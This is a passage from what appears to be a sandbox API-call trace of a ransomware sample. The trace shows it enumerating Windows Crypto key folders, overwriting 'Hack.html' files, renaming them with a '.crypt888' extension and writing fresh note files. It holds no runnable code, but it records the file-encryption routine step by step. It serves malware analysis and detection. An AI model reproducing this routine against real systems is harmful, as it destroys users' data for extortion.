dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.389] GetFileType (hFile=0x174) returned 0x1 [0086.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0086.389] GetFileType (hFile=0x174) returned 0x1 [0086.389] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0086.389] ReadFile (in: hFile=0x174, lpBuffer=0x28c5834, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28c5834*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0086.446] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0086.446] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.447] GetFileType (hFile=0x174) returned 0x1 [0086.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0086.447] GetFileType (hFile=0x174) returned 0x1 [0086.447] WriteFile (in: hFile=0x174, lpBuffer=0x2713b54*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x2713b54*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0086.448] CloseHandle (hObject=0x174) returned 1 [0086.448] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.449] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0086.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0086.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba414160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba414160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4b98da0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0086.449] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html.crypt888")) returned 1 [0086.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.450] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0086.450] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\", lpFilePart=0x0) returned 0x34 [0086.450] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0086.450] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.450] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.451] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x33 [0086.451] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\", lpFilePart=0x0) returned 0x34 [0086.451] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0086.451] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.452] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0086.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.452] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.452] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.452] GetFileType (hFile=0x174) returned 0x1 [0086.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.452] GetFileType (hFile=0x174) returned 0x1 [0086.452] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0086.452] ReadFile (in: hFile=0x174, lpBuffer=0x2716698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2716698*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0086.453] CloseHandle (hObject=0x174) returned 1 [0086.474] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.474] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.475] GetFileType (hFile=0x174) returned 0x1 [0086.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0086.475] GetFileType (hFile=0x174) returned 0x1 [0086.475] WriteFile (in: hFile=0x174, lpBuffer=0x2764974*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x2764974*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0086.476] CloseHandle (hObject=0x174) returned 1 [0086.476] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.476] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html.crypt888", lpFilePart=0x0) returned 0x46 [0086.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0086.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3ee000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3ee000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4be5060, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0086.477] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html.crypt888")) returned 1 [0086.477] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x3d [0086.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0086.477] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.478] GetFileType (hFile=0x174) returned 0x1 [0086.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0086.478] GetFileType (hFile=0x174) returned 0x1 [0086.478] WriteFile (in: hFile=0x174, lpBuffer=0x276732c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x276732c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0086.479] CloseHandle (hObject=0x174) returned 1 [0086.479] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0086.479] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.480] GetFileType (hFile=0x174) returned 0x1 [0086.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0086.480] GetFileType (hFile=0x174) returned 0x1 [0086.480] WriteFile (in: hFile=0x174, lpBuffer=0x2769af4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2769af4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0086.481] CloseHandle (hObject=0x174) returned 1 [0086.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.481] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0086.481] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\", lpFilePart=0x0) returned 0x29 [0086.482] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0086.482] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.482] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.482] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.482] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0086.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.483] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x28 [0086.483] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\", lpFilePart=0x0) returned 0x29 [0086.483] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0086.483] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.483] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.483] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.483] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0086.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.484] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", lpFilePart=0x0) returned 0x32 [0086.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0086.484] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.484] GetFileType (hFile=0x174) returned 0x1 [0086.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0086.484] GetFileType (hFile=0x174) returned 0x1 [0086.484] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0086.484] ReadFile (in: hFile=0x174, lpBuffer=0x276c234, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x276c234*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0086.485] CloseHandle (hObject=0x174) returned 1 [0086.503] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", lpFilePart=0x0) returned 0x32 [0086.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0086.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.505] GetFileType (hFile=0x174) returned 0x1 [0086.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0086.505] GetFileType (hFile=0x174) returned 0x1 [0086.505] WriteFile (in: hFile=0x174, lpBuffer=0x27ba3a0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27ba3a0*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0086.506] CloseHandle (hObject=0x174) returned 1 [0086.506] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", lpFilePart=0x0) returned 0x32 [0086.506] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3b [0086.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0086.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba414160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba414160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4c31320, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0086.506] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html.crypt888")) returned 1 [0086.507] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html", lpFilePart=0x0) returned 0x32 [0086.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0086.508] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.508] GetFileType (hFile=0x174) returned 0x1 [0086.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0086.508] GetFileType (hFile=0x174) returned 0x1 [0086.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.509] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0086.509] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x28 [0086.509] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0086.509] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.509] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.510] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.510] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.510] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.510] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0086.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.510] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x27 [0086.510] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x28 [0086.510] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0086.510] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.511] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.511] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.511] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.511] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.511] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0086.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.511] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0086.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.511] GetFileType (hFile=0x174) returned 0x1 [0086.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0086.511] GetFileType (hFile=0x174) returned 0x1 [0086.512] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0086.512] ReadFile (in: hFile=0x174, lpBuffer=0x27bf8f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27bf8f0*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0086.512] CloseHandle (hObject=0x174) returned 1 [0086.526] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0086.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 